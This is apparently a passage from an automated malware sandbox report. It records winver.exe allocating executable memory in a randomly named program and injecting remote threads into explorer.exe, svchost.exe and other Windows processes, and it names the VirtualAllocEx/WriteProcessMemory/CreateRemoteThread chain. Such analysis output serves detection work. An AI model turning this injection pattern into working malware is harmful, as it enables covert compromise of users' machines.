Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 20E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 680000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2870000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2CC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 5A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2C60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 12F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2280000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 600000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1040000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2C90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1240000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2380000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 7F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2DD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2F30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1200000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2CE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 28C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1220000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 900000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 28F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2820000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: BE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2D80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: E30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: A60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 29B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 540000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: EE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 740000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_03390DE0 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		2_2_03390DE0
Source: C:\Windows\explorer.exe	Code function: 3_2_01341F8D VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		3_2_01341F8D

Creates a thread in another existing process (thread injection)

Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\explorer.exe EIP: 13408B3	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\sihost.exe EIP: AC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 91090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\ctfmon.exe EIP: A5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\explorer.exe EIP: 137090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe EIP: B5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 11090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe EIP: A9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: AB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\smartscreen.exe EIP: 29090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe EIP: 58090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 3D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 90090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\ApplicationFrameHost.exe EIP: 18090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe EIP: A1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 19090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\ImmersiveControlPanel\SystemSettings.exe EIP: F1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\oobe\UserOOBEBroker.exe EIP: 1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\dllhost.exe EIP: 26090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SysWOW64\cscript.exe EIP: 4D8090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 88090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 90090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\backgroundTaskHost.exe EIP: C5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 89090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: 153090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: 277090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: B8090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: 8B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: B5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: 2EB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: 2D1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: 2B4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe EIP: 2E2090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: BE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2CA090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: C4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 112090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2F4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2F6090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 307090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 14D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 161090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2C9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: CC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 66090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: AD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 14B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 101090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: D9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 6E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 93090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: AD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 236090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 97090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 105090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 7B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 102090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 9C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 85090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: AA090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: CE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 20E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 68090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 287090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2CC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 5A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2C6090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 12F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 228090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 1A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 60090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 104090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2C9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 124090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: AB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: AE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 238090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B8090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 7F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2DD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2F3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 120090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2CE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 28C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 122090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 90090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 28F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 282090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F2090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: BE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2D8090B	Jump to behavior
